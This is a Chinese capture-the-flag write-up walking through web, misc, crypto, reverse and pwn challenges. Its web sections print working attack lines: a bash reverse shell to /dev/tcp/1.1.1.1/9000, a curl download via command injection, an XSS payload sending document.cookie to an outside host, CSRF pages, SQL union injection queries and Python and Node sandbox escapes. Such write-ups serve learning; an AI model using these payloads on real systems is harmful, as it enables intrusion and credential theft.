之前就是这个比赛入门的 二战😁、
web
Welcome
http状态码405 改成post请求得到源码
1 |
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数组绕过sha1比较 payload:
1 | POST: roam1[]=1&roam2[]=2 |
在phpinfo中看到这个
访问 在http头中找到flag
flagshop
注册登录 发现有个转账和报告给功能
计算md5脚本
1 | import hashlib |
之前一直以为是xss 试了好久无果 后来给hint 提示是csrf
参考:https://www.mi1k7ea.com/2020/01/21/CSRF-Tricks%E5%B0%8F%E7%BB%93/
bp生成payload:
1 | <html> |
放到服务器上 报告内容里是发现会请求
1 | <script>location="http://1.1.1.1/csrf.html";</script> |
然后报告 钱就会蹭蹭的涨了
朋友的学妹
查看源码 base64解密就行
EZwww
源码泄露 www.zip
index.php
1 |
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payload:
1 | a=sycl0ver |
EZgit
git_extarct恢复得到flag:https://github.com/gakki429/Git_Extract
刘壮的黑页
1 |
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提交就行:

我是大黑客
源码有提示 访问liuzhuang.php.bak
1 |
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POST:
1 | liuzhuang=system('cat /flag '); |
ezbypass
知X堂的php教程
有两个功能 ,目录里文件列举 任意文件读取 ,读源码:
displaySourceCode.php
1 |
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listdir.php
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waf.php
1 |
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关键肯定是listdir.php了 无回显命令 反弹shell
先把反弹shell的命令写到文件里 然后再执行文件 payload:
1 | listdir.php?dirname=;curl 1.1.1.1/1.txt -o /tmp/moonback |
反弹shell的命令:
1 |
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1.1.1.1
放的是
1 | bash -i >& /dev/tcp/1.1.1.1/9000 0>&1 |
不知道为啥下面这样不行
1 |
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请求:
1 | listdir.php?dirname=;. /tmp/moonback |
又学到一点东西
1 | $PS2 ==> > |
Myblog
php伪协议读源码:
1 | index.php?page=php://filter/convert.base64-encode/resource=home |
login.php:
1 |
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secret.php:
1 |
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admin/user.php:
1 |
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session_start()
会把之前生成的随机数的清空

因此 只需构造
1 | POST: |
上传文件 上传的时候有个坑 就是不能通过admin/user.php
上传 这样虽然提示上传成功 实际并没有 要通过?page=admin/user
包含phar或者zip协议就行 生成phar的代码:
1 |
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zip直接用bandzip压缩就行
payload:
1 | ?page=phar://assets/img/upload/026a2ebc7d2a62c61a4fd63cbb0334fad3f63047.gif/1 |
忏悔的刘壮
发现要提交答案 并且答案在cookie里 写脚本:
1 | import requests |
有点需要注意的的地方是 需要先判断answer
是否在r.cookies
不然会报错
JailFamilyPackage
python沙盒 源码:
1 | #! /usr/bin/python3 |
自己多测测就知道了 目标是python3.6 payload:
1 | print(().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['sys'+'tem']('cat /flag')) |
然后得到:
1 | 很遗憾, 但是flag不在这里~ |
nodejs沙盒:
1 | const vm = require('vm'); |
vm和vm2是不安全的模块 构造payload:
1 | const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('cat /flag').toString(); |
得到:
1 | 恭喜! 你离flag很近了![狗头] |
进入是个linux的终端 发现env里有
1 | LD_PRELOAD=libfakeroot-sysv.so:libfakechroot.so |
把LD_PRELOAD
设置成空
1 | export LD_PRELOAD='' |
带恶人六撞
sql注入 order by 判断4列
1 | ?id=-1' order by 4%23 |
联合查询 判断回显位
1 | ?id=-1' union select 1,2,3,4%23 |
查表
1 | ?id=-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23 |
查列
1 | ?id=-1' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fllllag')%23 |
查数据
1 | ?id=-1' union select 1,2,3,(select group_concat(fllllllag) from fllllag)%23 |
告白网站
xss 测试过滤了
1 | = & . ' " |
并且下面没有过滤 直接可以用jsfuck:http://www.jsfuck.com
1 | [] ! + () |
直接script标签就行 构造类似下面的 注意url编码:
1 | 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|
意思就是:
1 | <script>location="http://1.1.1.1:9000/"+document.cookie;</script> |
服务端监听就行
AFKL
源码:
1 |
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后面的类没用到 又学到了知识点:
php中this和self的区别是:self调用的是类,而$this调用的是实例化的对象。self可以访问本类中的静态属性和静态方法,以及const定义的常量,this可以调用本类中的方法和属性。
绕过__wakeup
就不用说了 关键代码
1 | public function __destruct() |
只需call_user_func
返回true
就能修改self::$bbb
的值了
1 |
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RCEME
查看源码 提示.swp
.index.php.swp
存在 恢复得到源码
1 |
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正则表达式有问题 :https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php
X迪的pyp语言
访问hint.php得到源码
1 | import re |
greatphp
源码:
1 |
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之前在nu1l星球看到了wp 不懂 exp:
1 |
|
misc
一“页”障目
海报上三块拼一下
壮言壮语
佛曰解密就行:http://www.keyfc.net/bbs/tools/tudoucode.aspx
秘技·反复横跳
binwalk分离出一张二维码
随便拼一下就行了
来拼图
crypto
二战情报员刘壮
摩斯密码解密:https://www.atool99.com/morse.php
按照要求 去掉_
加上SYC{}
就行
铠甲与萨满
凯撒密码直接解密就行
成都养猪二厂
re
No RE no gain
ida打开 程序流程图中看到flag
我真不会写驱动!
同样是IDA打开 在伪代码中找到flag
re00
查看伪代码 发现是异或0x44
并且异或的结果数组内容
取出来 exp:
1 | chars=[0x17,0x1D,0x07,0x3F,0x37,0x2D,0x29,0x34,0x28,0x21,0x1B,0x37,0x2D,0x29,0x34,0x28,0x21,0x1B,0x3C,0x2B,0x36,0x36,0x36,0x1B,0x36,0x2D,0x23,0x2C,0x30,0x7B,0x7B,0x39] |
pwn
数学咋样?
写脚本就完事了
1 | from pwn import * |